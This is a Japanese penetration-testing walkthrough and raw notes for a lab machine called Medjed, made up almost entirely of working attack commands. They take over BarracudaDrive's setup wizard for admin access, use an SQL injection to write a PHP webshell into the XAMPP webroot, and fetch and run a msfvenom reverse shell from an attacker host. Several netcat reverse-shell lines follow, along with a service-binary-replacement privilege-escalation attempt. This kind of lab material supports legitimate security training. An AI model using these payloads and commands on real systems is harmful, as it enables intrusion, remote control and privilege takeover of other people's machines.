-a---- 10/26/2010 4:38 PM 421200 msvcp100.dll
-a---- 10/26/2010 4:38 PM 770384 msvcr100.dll
-a---- 2/18/2013 10:39 PM 240219 non-commercial-license.rtf
-a---- 8/1/2024 10:49 PM 6 pidfile
-a---- 4/26/2013 5:50 PM 16740 readme.txt
-a---- 11/3/2020 12:29 PM 702 roles.dat
-a---- 6/14/2012 12:21 PM 383856 sqlite3.exe
-a---- 5/11/2026 9:51 AM 14 test.txt
-a---- 11/3/2020 12:29 PM 133107 Uninstall.exe
PS C:\xampp\htdocs>
searchsploit -x windows/local/48789.txt
以下のヘッダをつけて、コンパイル
#include <stdlib.h>
#include <windows.h>
i686-w64-mingw32-gcc addAdmin.c -o bd.exe
iwr -Uri http://192.168.45.182/bd.exe -OutFile bd.exe
move C:\bd\bd.exe C:\bd\bd.service.exe
net user boku
shutdown /r /t 0
Restart-Computer -Force
net user boku
iwr -Uri http://192.168.45.182/nc64.exe -OutFile nc64.exe
nc -lvnp 4444
runas /user:boku "nc64.exe 192.168.45.182 5555 -e cmd.exe"
runas /user:boku "nc64.exe 192.168.45.182 5555 -e cmd.exe"
runas /user:boku "nc64.exe 192.168.45.182 443 -e cmd.exe"
runas /user:boku "C:\xampp\htdocs\nc64.exe 192.168.45.182 5555 -e cmd.exe"
runas /user:boku "cmd.exe /c C:\xampp\htdocs\nc64.exe 192.168.45.182 5555 -e cmd.exe"
runas /savecred /user:boku "C:\xampp\htdocs\nc64..exe 192.168.45.182 5555 -e cmd.exe"
iwr -Uri http://192.168.45.182:8000/shell2.exe -OutFile shell2.exe
まだ、フラグとれてない
？？？
AD_and_Networks¶
walkthrough(AI)¶
このAI版 walkthrough は、生メモを再現しやすい流れに整理したもの。Medjed は BarracudaDrive の管理機能と Web アプリの SQLi から PHP webshell を置き、Jerren の local flag まで到達する。既存メモ上、権限昇格は試行ログとして残っている。
1. BarracudaDrive の管理者を設定¶
BarracudaDrive の Config Wizard から管理者アカウントを設定する。
curl -s -X POST \
http://192.168.166.127:8000/Config-Wizard/wizard/SetAdmin.lsp \
-d "email=test@test.com&user=admin&password=Password123"
管理画面へ入れることを確認する。
curl -i -u admin:Password123 \
http://192.168.166.127:8000/private/manage/
2. slug パラメータの SQLi を確認¶
別ポートの Web アプリに slug エンドポイントがあり、URL パラメータに SQLi がある。
curl -G "http://192.168.166.127:33033/slug" --data-urlencode "URL=' OR 1=1-- -"
sqlmap -u "http://192.168.166.127:33033/slug?URL=test" -p URL --dbms=mysql --batch
3. MySQL OUTFILE で webroot に PHP を書く¶
SQLi から INTO OUTFILE を使い、XAMPP の webroot に PHP webshell を書き込む。
curl -G 'http://192.168.166.127:33033/slug' \
--data-urlencode 'URL='\'' UNION SELECT "<?php echo passthru($_GET["cmd"]); ?>" INTO OUTFILE "C:/xampp/htdocs/cmd.php" -- -'
4. webshell を確認して reverse shell¶
webshell の動作を確認する。
curl "http://192.168.166.127:45332/cmd.php?cmd=whoami"
リバースシェル用 EXE を作成し、webshell 経由で配置・実行する。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.182 LPORT=4444 -f exe -o shell.exe
python3 -m http.server 8000
nc -lvnp 4444
curl -G "http://192.168.166.127:45332/cmd.php" \
--data-urlencode 'cmd=powershell -c Invoke-WebRequest -Uri http://192.168.45.182:8000/shell.exe -OutFile C:\xampp\htdocs\shell.exe'
curl "http://192.168.166.127:45332/cmd.php?cmd=C:\xampp\htdocs\shell.exe"
Jerren としてシェルが取れる。
5. local flag を取得¶
type C:\Users\Jerren\Desktop\local.txt
6. 権限昇格メモ¶
既存メモでは、BarracudaDrive のサービスディレクトリが書き込み可能であることを確認し、サービスバイナリ差し替え系の権限昇格を試している。
wmic service get name,displayname,pathname,startmode | findstr /i barracuda
icacls C:\bd
echo test > C:\bd\test.txt
exploit の確認とビルド。
searchsploit -x windows/local/48789.txt
i686-w64-mingw32-gcc addAdmin.c -o bd.exe
ターゲットへ配置し、再起動後のユーザー作成を確認する試行。
iwr -Uri http://192.168.45.182/bd.exe -OutFile bd.exe
move C:\bd\bd.exe C:\bd\bd.service.exe
shutdown /r /t 0
net user boku
7. 攻撃の流れまとめ¶
BarracudaDrive Config-Wizard
→ admin credentials 設定
→ 管理画面確認
→ slug parameter SQLi
→ MySQL OUTFILE で XAMPP webroot に PHP webshell
→ reverse shell as Jerren
→ local flag
→ BarracudaDrive writable service directory を確認
→ privilege escalation attempt recorded in notes
drill¶
BarracudaDrive管理者設定¶
curl -s -X POST \
http://192.168.166.127:8000/Config-Wizard/wizard/SetAdmin.lsp \
-d "email=test@test.com&user=admin&password=Password123"
curl -i -u admin:Password123 \
http://192.168.166.127:8000/private/manage/
SQLiからWebshellを書き込み¶
curl -G "http://192.168.166.127:33033/slug" --data-urlencode "URL=' OR 1=1-- -"
sqlmap -u "http://192.168.166.127:33033/slug?URL=test" -p URL --dbms=mysql --batch
curl -G 'http://192.168.166.127:33033/slug' \
--data-urlencode 'URL='\'' UNION SELECT "<?php echo passthru($_GET["cmd"]); ?>" INTO OUTFILE "C:/xampp/htdocs/cmd.php" -- -'
Webshell確認とリバースシェル¶
curl "http://192.168.166.127:45332/cmd.php?cmd=whoami"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.182 LPORT=4444 -f exe -o shell.exe
python3 -m http.server 8000
nc -lvnp 4444
curl -G "http://192.168.166.127:45332/cmd.php" \
--data-urlencode 'cmd=powershell -c Invoke-WebRequest -Uri http://192.168.45.182:8000/shell.exe -OutFile C:\xampp\htdocs\shell.exe'
curl "http://192.168.166.127:45332/cmd.php?cmd=C:\xampp\htdocs\shell.exe"
local flag¶
type C:\Users\Jerren\Desktop\local.txt
権限昇格メモ（root未完）¶
wmic service get name,displayname,pathname,startmode | findstr /i barracuda
icacls C:\bd
echo test > C:\bd\test.txt
searchsploit -x windows/local/48789.txt
i686-w64-mingw32-gcc addAdmin.c -o bd.exe
iwr -Uri http://192.168.45.182/bd.exe -OutFile bd.exe
move C:\bd\bd.exe C:\bd\bd.service.exe
shutdown /r /t 0
net user boku